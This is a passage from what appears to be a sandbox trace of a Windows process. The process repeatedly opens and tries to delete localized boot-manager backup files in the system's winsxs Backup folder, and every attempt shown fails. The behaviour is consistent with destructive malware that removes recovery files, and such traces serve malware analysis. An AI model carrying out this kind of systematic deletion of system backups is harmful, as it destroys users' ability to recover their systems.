"c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.140] CloseHandle (hObject=0xffffffff) returned 0 [0066.140] CloseHandle (hObject=0xffffffff) returned 0 [0066.140] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgr.efi.mui_be5d0075")) returned 0 [0066.140] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.140] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.141] CloseHandle (hObject=0xffffffff) returned 0 [0066.141] CloseHandle (hObject=0xffffffff) returned 0 [0066.141] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476.manifest")) returned 0 [0066.141] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.141] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.141] CloseHandle (hObject=0xffffffff) returned 0 [0066.141] CloseHandle (hObject=0xffffffff) returned 0 [0066.141] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.146] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.146] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.146] CloseHandle (hObject=0xffffffff) returned 0 [0066.146] CloseHandle (hObject=0xffffffff) returned 0 [0066.146] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_099d2ebabfe3f476_bootmgr.efi.mui_be5d0075")) returned 0 [0066.147] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.147] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.147] CloseHandle (hObject=0xffffffff) returned 0 [0066.147] CloseHandle (hObject=0xffffffff) returned 0 [0066.147] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c.manifest")) returned 0 [0066.147] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.147] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.148] CloseHandle (hObject=0xffffffff) returned 0 [0066.148] CloseHandle (hObject=0xffffffff) returned 0 [0066.148] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.148] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.148] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.148] CloseHandle (hObject=0xffffffff) returned 0 [0066.148] CloseHandle (hObject=0xffffffff) returned 0 [0066.148] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_ad070b6fb254bb8c_bootmgr.efi.mui_be5d0075")) returned 0 [0066.148] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.149] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.149] CloseHandle (hObject=0xffffffff) returned 0 [0066.149] CloseHandle (hObject=0xffffffff) returned 0 [0066.149] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748.manifest")) returned 0 [0066.149] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.149] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.149] CloseHandle (hObject=0xffffffff) returned 0 [0066.149] CloseHandle (hObject=0xffffffff) returned 0 [0066.150] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.150] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.150] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.150] CloseHandle (hObject=0xffffffff) returned 0 [0066.150] CloseHandle (hObject=0xffffffff) returned 0 [0066.150] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_95998ca48a79e748_bootmgr.efi.mui_be5d0075")) returned 0 [0066.150] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.151] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.151] CloseHandle (hObject=0xffffffff) returned 0 [0066.151] CloseHandle (hObject=0xffffffff) returned 0 [0066.151] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d.manifest")) returned 0 [0066.151] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.151] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.151] CloseHandle (hObject=0xffffffff) returned 0 [0066.151] CloseHandle (hObject=0xffffffff) returned 0 [0066.151] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.152] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.152] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.152] CloseHandle (hObject=0xffffffff) returned 0 [0066.152] CloseHandle (hObject=0xffffffff) returned 0 [0066.152] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d_bootmgr.efi.mui_be5d0075")) returned 0 [0066.152] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.152] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.153] CloseHandle (hObject=0xffffffff) returned 0 [0066.153] CloseHandle (hObject=0xffffffff) returned 0 [0066.153] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1.manifest")) returned 0 [0066.153] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.153] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.153] CloseHandle (hObject=0xffffffff) returned 0 [0066.153] CloseHandle (hObject=0xffffffff) returned 0 [0066.153] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.158] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.158] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.159] CloseHandle (hObject=0xffffffff) returned 0 [0066.159] CloseHandle (hObject=0xffffffff) returned 0 [0066.159] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_da15326470c85ed1_bootmgr.efi.mui_be5d0075")) returned 0 [0066.159] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.159] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.159] CloseHandle (hObject=0xffffffff) returned 0 [0066.159] CloseHandle (hObject=0xffffffff) returned 0 [0066.159] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5.manifest")) returned 0 [0066.160] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.160] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.160] CloseHandle (hObject=0xffffffff) returned 0 [0066.160] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.160] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.161] DeleteFileW 